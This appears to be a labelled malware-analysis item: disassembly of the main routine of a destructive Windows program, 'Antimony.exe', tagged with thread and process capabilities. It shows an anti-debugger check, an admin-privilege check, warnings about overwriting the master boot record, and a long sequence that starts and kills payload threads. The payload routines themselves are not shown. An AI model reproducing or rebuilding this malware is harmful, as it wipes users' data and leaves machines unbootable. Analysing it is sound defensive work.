Function at 0x416570
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
je 0x416fbf
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x416fbf
call dword [sym.imp.USER32.dll_SetProcessDPIAware]
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x34
push str.Malware_Alert___Antimony.exe
push str.You_are_running_a_HARMFUL_version_of_Antimony.exe._r_n_r_nThis_malware_will_DESTROY_your_computer_and_it_contains_flashing_lights._If_you_are_an_epilepsy_people__PLEASE_DONT_RUN_IT_____r_nIf_you_run_this_malware__You_will_lose_all_your_personal_data_in_this_computer____And_you_will_NOT_boot_up_your_computer_again____r_n_r_nAre_you_sure_you_want_to_run_it_
push 0
call esi
cmp eax, 6
jne 0x416fbf
push 0x34
push str.LAST_WARNING______Antimony.exe
push str.THIS_IS_THE_LAST_WARNING____r_n_r_nIF_YOU_CONTINUE__THIS_MALWARE_WILL_DESTROY_ALL_YOUR_DATA__CORRUPT_YOUR_SYSTEM_REGISTRYS_AND_OVERWRITE_MASTER_BOOT_RECORD._YOU_WILL_NOT_BOOT_UP_YOUR_COMPUTER_AGAIN____r_nREALLY_THINK_WHAT_ARE_YOU_DOING____r_nTHE_CREATOR_IS_NOT_RESPONSIBLE_FOR_ANY_DAMAGES_TO_THIS_COMPUTER____r_n_r_nARE_YOU_SURE_YOU_WANT_TO_CONTINUE__YOU_HAVE_BEEN_WARNED___
push 0
call esi
cmp eax, 6
jne 0x416fbf
call fcn.00401060
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x410520
push 0
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call ebx
push 0x1f4
call ebx
push 0
push 0
push 0
push 0x410ba0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x410ca0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x410d00
push 0
push 0
call esi
push 0
push 0
push 0
push 0x412860
push 0
push 0
call esi
push 0
push 0
push 0
push 0x412910
push 0
push 0
mov edi, eax
call esi
push 0
push 0
push 0
push 0x410de0
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x14], eax
call fcn.00401130
push 0
push 0
push 0
push 0x4049b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x7530
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
push 0
mov ebx, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x412c90
push 0
push 0
call esi
push 0
push 0
push 0
push 0x412ed0
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.00401320
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x413090
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.004014a0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x4132f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401630
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0x4135a0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x413660
push 0
push 0
mov edi, eax
call esi
push 0
push 0
push 0
push 0x410f10
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x18], eax
call fcn.004017d0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4137a0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4138f0
push 0
push 0
mov dword [esp + 0x28], eax
call esi
push 0
push 0
push 0
push 0x412680
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x411270
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.00401b50
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [esp + 0x10]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push esi
call edi
push esi
call ebx
mov esi, dword [esp + 0x14]
push 0
push esi
call edi
push esi
call ebx
mov ebx, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x413ae0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x413ce0
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.00401cb0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x413de0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x414080
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.00401e40
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x414180
push 0
push 0
call esi
push 0
push 0
push 0
push 0x412680
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.004020f0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4142a0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4143f0
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.00402270
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4145b0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x414730
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.00402450
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
mov esi, dword [esp + 0x18]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x410cd0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x410c20
push 0
push 0
call esi
push 0
push 0
push 0
push 0x410c70
push 0
push 0
call esi
push 0
push 0
push 0
push 0x410de0
push 0
push 0
call esi
push 0
mov dword [esp + 0x28], eax
push 0
push 0
push 0x414890
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4149b0
push 0
push 0
mov edi, eax
call esi
push 0
push 0
push 0
push 0x412680
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x411270
push 0
push 0
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x10], eax
call fcn.00402640
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x414af0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x414c30
push 0
push 0
mov edi, eax
call esi
push 0
push 0
push 0
push 0x410f10
push 0
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x414da0
push 0
push 0
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x20], eax
call fcn.00402a00
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x414ec0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00402ce0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x415000
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4151e0
push 0
push 0
mov ebx, eax
call esi
push 0
push 0
push 0
push 0x4152e0
push 0
push 0
mov edi, eax
call esi
mov esi, eax
call fcn.00402f50
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call ebx
mov ebx, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4153d0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x415760
push 0
push 0
mov esi, eax
call edi
push 0
push 0
push 0
push 0x415970
push 0
push 0
mov dword [esp + 0x34], eax
call edi
mov edi, eax
call fcn.004032c0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call eax
mov esi, dword [esp + 0x18]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x14]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x10]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x415ab0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x411060
mov esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x18], eax
call fcn.004034c0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x415dd0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00403950
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push 0
push 0
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x415ef0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x416100
push 0
push 0
mov edi, eax
call ebx
push 0
push 0
push 0
push 0x416200
push 0
push 0
mov esi, eax
call ebx
push 0
push 0
push 0
push 0x416360
push 0
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x14], eax
call fcn.00403d30
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
mov esi, dword [esp + 0x1c]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
mov esi, dword [esp + 0x18]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
call edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call edi
mov esi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push esi
call ebx
push esi
call edi
mov esi, dword [esp + 0x14]
push 0
push esi
call ebx
push esi
call edi
mov esi, dword [esp + 0x24]
push 0
push esi
call ebx
push esi
call edi
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0x416410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00403ef0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x405940
push 0
push 0
call esi
push 0
push 0
push 0
push 0x405a00
push 0
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1388
call ebx
push 0
push 0
push 0
push 0x405890
push 0
push 0
call esi
push 0x1388
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]